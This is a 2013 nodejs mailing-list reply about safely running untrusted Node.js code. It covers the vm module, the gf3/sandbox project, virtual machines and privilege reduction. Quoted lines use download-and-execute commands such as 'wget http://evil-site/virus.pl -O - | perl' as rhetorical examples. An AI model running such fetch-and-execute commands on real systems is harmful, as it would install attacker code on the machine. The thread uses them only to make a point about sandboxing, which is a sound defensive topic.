On 12/17/2013 12:23 PM, Alex Kocharin wrote:
> 17.12.2013, 15:07, "Alexander" <[email protected]>:
>> Thank you for the reply.
>> Why security implications of running node.js are not related to node.js,
>> is hard to understand? (can you give reason)?
> If you run "wget http://evil-site/virus.pl -O - | perl", is it related to 
> perl? Is it a vulnerability in perl?
>
> If you run "wget http://evil-site/virus.py -O - | python", is it related to 
> python? Is it a vulnerability in python?
Agreed that stupidity is not tightly linked to any scripting system.
But consider that while it is plain stupid to do such a risky as
(evil-site) is
outrightly marked as "not safe". It would be possible that you have
evil stuff also in any npm installed (but not revised or sufficiently
well group
autited software).
I can maybe say, it is easy to avoid above (and then, yes then it is not
really
that much of a node.js internal matter). Still as suggested there might be
more problematic and less esacpable untrusted code cases.
I imagine in those cases much would be gained by for instance agreeing
that node.js internal stuff (as for instance priveledge limiting for some
code parts, would be helpful to make the use of untrusted code less risky).
In an ideal world, you are totally right, every code would be then simply
revised, autided etc. There was not NSA, not bad guys etc.
I argue that while we have not yet entered this perfect world,
where I can (a) avoid using untrusted code and (b) have enough time
to make it trusted etc. While not there.... it would be interesting (for
node.js
for example.. to have some form of nested priviledge structure "possible").
In a way of speaking currently running node.js might quickly resample
running windows XP as admin (you can pretty much do everything and
by this harm everything). Do we need this? no it would be fine for
many "untrusted code"-things to have limited access. This would then
resample a more "linux" / "unix" (good world (TM)) approach where
stuff is not necessarily put at risk because not everything is root.

So I want to express that I get your frustration of the topic. I share it.
But I want to make clear that my question is really meant well and that
I did surely not mean to target those (plain stupidity cases you made up so
quickly). Since I reckon you are smart (just look at the speedy way of
you to come up responses) I am certain you can (also by the previously
cited attempts to improvemen "sandboxing") see the purpose of my
question.
To rule out misunderstanding. I do not want to say "node.js" would be
bad, just because it is able to use it "plain stupidity"-wise. I want to
look
if there is an way to make node.js run untrustuted code safer.
And as a second layer of defense (because that is what tin-foil avantguarde
is doing) I ask for a way to further secure my system from node.js itself.

>
> What happens if you run "wget http://evil-site/virus && ./virus"?
;) well, then I get a birthday present (as promised on http://evil-site)

>
>
>> While I agree for other reasons maybe to your suggestions (i.e. I can
>> see reasons to not use Windows (which is really unrelated to node.js)
>>
>> I am telling you, that it would be nice to have the chance to savely
>> run untrusted code.
> As I said, you can do in a virtual machine.
This would be a third layer of defense. Considering bluepill I am not
willing to resort to allowing virtualisation in the first place. Still might
work for many. Thanks for the suggestion

>
>
>> For me that would be related a big deal to node.js because to savely
>> or "relatively more savely" run untrusted code would require to be
>> able to reduce the priveleges and access-rights and permissions of
>> what the untrusted code can do.
>> For example some code should not be able to touch "fs" kind of funcitons.
>> Such an sandboxing would have to happen inside node.js (that is why I ask
>> in this list).
> Oh well yeah, here is some helpful sandboxing stuff:
> http://nodejs.org/api/vm.html
gonna have a look
>
>> Also there have been efforts (maybe they are good)
>>
>> https://github.com/gf3/sandbox
>> (I think it generates a way to reduce the priviledges of untrusted code, by
>> spawing a child process which lacks access to global...). I am not sure
>> how it works
>> in detail (maybe somebody can tell). This could help with cases as
>> suggested in the
>> examples.js section.
> It forks node.js and creates a new empty context in the child process. Yes, 
> that would work.
Well that sounds really pretty nice. Wonder if there is a "way-back" aka
"breakout"
possible still.
Also the sandboxing might bring the challlange to break much stuff and
render
the sandboxed code impossible to run. While it should only limit the
potential
harmful consequences of the untrusted code. I guess this is a dilemma like
trade off though :)

>
>> There have been efforts
>> https://github.com/gf3/sandbox/blob/master/example/example.js
>>
>> Some remarks still to the "Do not use windows". If meant Microsoft stuff
>> (window is
>> in Javascript context somewhat a ambigious term) then I can only suggest
>> that
>> Linux would not be much safer. Really linux distributions are overrated
>> in terms of savefty.
> In linux it is hard to work under root. In windows it's hard to NOT work 
> under root. That's all there is.
I like windows. Makes me feel so much happier to have linux, honestly.
Bad that I gain joy by seeing stupidity of others. .. Still
to keep it honest. I think XP has long passed and Windows 7 can already
be run
safer and less root involved, eh?
On the other hand how should linux world find out? switch back to windows?
>
> I'm not even mentioning capabilities and containers.
Give glue what would that be?

-- 
-- 
Job Board: http://jobs.nodejs.org/
Posting guidelines: 
https://github.com/joyent/node/wiki/Mailing-List-Posting-Guidelines
You received this message because you are subscribed to the Google
Groups "nodejs" group.
To post to this group, send email to [email protected]
To unsubscribe from this group, send email to
[email protected]
For more options, visit this group at
http://groups.google.com/group/nodejs?hl=en?hl=en

--- 
You received this message because you are subscribed to the Google Groups 
"nodejs" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to [email protected].
For more options, visit https://groups.google.com/groups/opt_out.

Reply via email to